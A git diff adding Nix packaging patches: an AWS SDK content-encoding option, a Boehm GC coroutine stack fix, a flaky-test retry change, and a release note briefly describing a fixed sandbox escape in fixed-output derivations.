--git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md +new file mode 100644 +index 000000000..ed451711e +--- /dev/null ++++ b/doc/manual/rl-next/fod-sandbox-escape.md +@@ -0,0 +1,14 @@ ++--- ++synopsis: Fix a FOD sandbox escape ++issues: ++prs: ++--- ++ ++Cooperating Nix derivations could send file descriptors to files in the Nix ++store to each other via Unix domain sockets in the abstract namespace. This ++allowed one derivation to modify the output of the other derivation, after Nix ++has registered the path as "valid" and immutable in the Nix database. ++In particular, this allowed the output of fixed-output derivations to be ++modified from their expected content. ++ ++This isn't the case any more. diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch new file mode 100644 index 000000000000..59cc305a60bc --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch @@ -0,0 +1,127 @@ +From 7d58e303159b2fb343af9a1ec4512238efa147c7 Mon Sep 17 00:00:00 2001 +From: Eelco Dolstra <edolstra@gmail.com> +Date: Mon, 6 Aug 2018 17:15:04 +0200 +Subject: [PATCH] TransferManager: Allow setting a content-encoding for S3 uploads + +--- a/aws-cpp-sdk-transfer/include/aws/transfer/TransferHandle.h ++++ b/aws-cpp-sdk-transfer/include/aws/transfer/TransferHandle.h +@@ -297,6 +297,14 @@ namespace Aws + * Content type of the object being transferred + */ + inline void SetContentType(const Aws::String& value) { std::lock_guard<std::mutex> locker(m_getterSetterLock); m_contentType = value; } ++ /** ++ * Content encoding of the object being transferred ++ */ ++ inline const Aws::String GetContentEncoding() const { std::lock_guard<std::mutex> locker(m_getterSetterLock); return m_contentEncoding; } ++ /** ++ * Content type of the object being transferred ++ */ ++ inline void SetContentEncoding(const Aws::String& value) { std::lock_guard<std::mutex> locker(m_getterSetterLock); m_contentEncoding = value; } + /** + * In case of an upload, this is the metadata that was placed on the object when it was uploaded. + * In the case of a download, this is the object metadata from the GetObject operation. +@@ -383,6 +391,7 @@ namespace Aws + Aws::String m_key; + Aws::String m_fileName; + Aws::String m_contentType; ++ Aws::String m_contentEncoding; + Aws::String m_versionId; + Aws::Map<Aws::String, Aws::String> m_metadata; + TransferStatus m_status; +--- a/aws-cpp-sdk-transfer/include/aws/transfer/TransferManager.h ++++ b/aws-cpp-sdk-transfer/include/aws/transfer/TransferManager.h +@@ -154,7 +154,8 @@ namespace Aws + const Aws::String& keyName, + const Aws::String& contentType, + const Aws::Map<Aws::String, Aws::String>& metadata, +- const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context = nullptr); ++ const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context = nullptr, ++ const Aws::String& contentEncoding = ""); + + /** + * Downloads the contents of bucketName/keyName in S3 to the file specified by writeToFile. This will perform a GetObject operation. +@@ -246,7 +247,8 @@ namespace Aws + const Aws::Map<Aws::String, + Aws::String>& metadata, + const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context, +- const Aws::String& fileName = ""); ++ const Aws::String& fileName = "", ++ const Aws::String& contentEncoding = ""); + + /** + * Submits the actual task to task schecduler +@@ -262,7 +264,8 @@ namespace Aws + const Aws::String& keyName, + const Aws::String& contentType, + const Aws::Map<Aws::String, Aws::String>& metadata, +- const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context); ++ const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context, ++ const Aws::String& contentEncoding); + + /** + * Uploads the contents of file, to bucketName/keyName in S3. contentType and metadata will be added to the object. If the object is larger than the configured bufferSize, +--- a/aws-cpp-sdk-transfer/source/transfer/TransferManager.cpp ++++ b/aws-cpp-sdk-transfer/source/transfer/TransferManager.cpp +@@ -87,9 +87,10 @@ namespace Aws + const Aws::String& bucketName, + const Aws::String& keyName, const Aws::String& contentType, + const Aws::Map<Aws::String, Aws::String>& metadata, +- const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context) ++ const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context, ++ const Aws::String& contentEncoding) + { +- return this->DoUploadFile(fileStream, bucketName, keyName, contentType, metadata, context); ++ return this->DoUploadFile(fileStream, bucketName, keyName, contentType, metadata, context, contentEncoding); + } + + std::shared_ptr<TransferHandle> TransferManager::DownloadFile(const Aws::String& bucketName, +@@ -286,6 +287,9 @@ namespace Aws + createMultipartRequest.WithKey(handle->GetKey()); + createMultipartRequest.WithMetadata(handle->GetMetadata()); + ++ if (handle->GetContentEncoding() != "") ++ createMultipartRequest.WithContentEncoding(handle->GetContentEncoding()); ++ + auto createMultipartResponse = m_transferConfig.s3Client->CreateMultipartUpload(createMultipartRequest); + if (createMultipartResponse.IsSuccess()) + { +@@ -441,6 +445,9 @@ namespace Aws + + putObjectRequest.SetContentType(handle->GetContentType()); + ++ if (handle->GetContentEncoding() != "") ++ putObjectRequest.SetContentEncoding(handle->GetContentEncoding()); ++ + auto buffer = m_bufferManager.Acquire(); + + auto lengthToWrite = (std::min)(m_transferConfig.bufferSize, handle->GetBytesTotalSize()); +@@ -1140,12 +1147,15 @@ namespace Aws + const Aws::String& contentType, + const Aws::Map<Aws::String, Aws::String>& metadata, + const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context, +- const Aws::String& fileName) ++ const Aws::String& fileName, ++ const Aws::String& contentEncoding) + { + auto handle = Aws::MakeShared<TransferHandle>(CLASS_TAG, bucketName, keyName, 0, fileName); + handle->SetContentType(contentType); + handle->SetMetadata(metadata); + handle->SetContext(context); ++ if (contentEncoding != "") ++ handle->SetContentEncoding(contentEncoding); + + if (!fileStream->good()) + { +@@ -1213,9 +1223,10 @@ namespace Aws + const Aws::String& keyName, + const Aws::String& contentType, + const Aws::Map<Aws::String, Aws::String>& metadata, +- const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context) ++ const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context, ++ const Aws::String& contentEncoding) + { +- auto handle = CreateUploadFileHandle(fileStream.get(), bucketName, keyName, contentType, metadata, context); ++ auto handle = CreateUploadFileHandle(fileStream.get(), bucketName, keyName, contentType, metadata, context, "", contentEncoding); + return SubmitUpload(handle, fileStream); + } + diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/boehmgc-coroutine-sp-fallback.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/boehmgc-coroutine-sp-fallback.patch new file mode 100644 index 000000000000..578bd325d56b --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/patches/boehmgc-coroutine-sp-fallback.patch @@ -0,0 +1,45 @@ +diff --git a/pthread_stop_world.c b/pthread_stop_world.c +index 2b45489..0e6d8ef 100644 +--- a/pthread_stop_world.c ++++ b/pthread_stop_world.c +@@ -776,6 +776,8 @@ STATIC void GC_restart_handler(int sig) + /* world is stopped. Should not fail if it isn't. */ + GC_INNER void GC_push_all_stacks(void) + { ++ size_t stack_limit; ++ pthread_attr_t pattr; + GC_bool found_me = FALSE; + size_t nthreads = 0; + int i; +@@ -868,6 +870,31 @@ GC_INNER void GC_push_all_stacks(void) + hi = p->altstack + p->altstack_size; + # endif + /* FIXME: Need to scan the normal stack too, but how ? */ ++ } else { ++ if (pthread_getattr_np(p->id, &pattr)) { ++ ABORT("GC_push_all_stacks: pthread_getattr_np failed!"); ++ } ++ if (pthread_attr_getstacksize(&pattr, &stack_limit)) { ++ ABORT("GC_push_all_stacks: pthread_attr_getstacksize failed!"); ++ } ++ if (pthread_attr_destroy(&pattr)) { ++ ABORT("GC_push_all_stacks: pthread_attr_destroy failed!"); ++ } ++ // When a thread goes into a coroutine, we lose its original sp until ++ // control flow returns to the thread. ++ // While in the coroutine, the sp points outside the thread stack, ++ // so we can detect this and push the entire thread stack instead, ++ // as an approximation. ++ // We assume that the coroutine has similarly added its entire stack. ++ // This could be made accurate by cooperating with the application ++ // via new functions and/or callbacks. ++ #ifndef STACK_GROWS_UP ++ if (lo >= hi || lo < hi - stack_limit) { // sp outside stack ++ lo = hi - stack_limit; ++ } ++ #else ++ #error "STACK_GROWS_UP not supported in boost_coroutine2 (as of june 2021), so we don't support it in Nix." ++ #endif + } + # ifdef STACKPTR_CORRECTOR_AVAILABLE + if (GC_sp_corrector != 0) diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/flaky-tests.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/flaky-tests.patch new file mode 100644 index 000000000000..3684b09f6ffa --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/patches/flaky-tests.patch @@ -0,0 +1,12 @@ +diff --git a/mk/run_test.sh b/mk/run_test.sh +index 7e95df2ac..58420c317 100755 +--- a/mk/run_test.sh ++++ b/mk/run_test.sh +@@ -27,7 +27,6 @@ run_test "$1" + # appear randomly without anyone knowing why. + # See https://github.com/NixOS/nix/issues/3605 for more info + if [[ $status -ne 0 && $status -ne 99 && \ +- "$(uname)" == "Darwin" && \ + "$log" =~ "unexpected EOF reading a line" \ + ]]; then + echo "$post_run_msg [${yellow}FAIL$normal] (possibly flaky, so will be retried)" |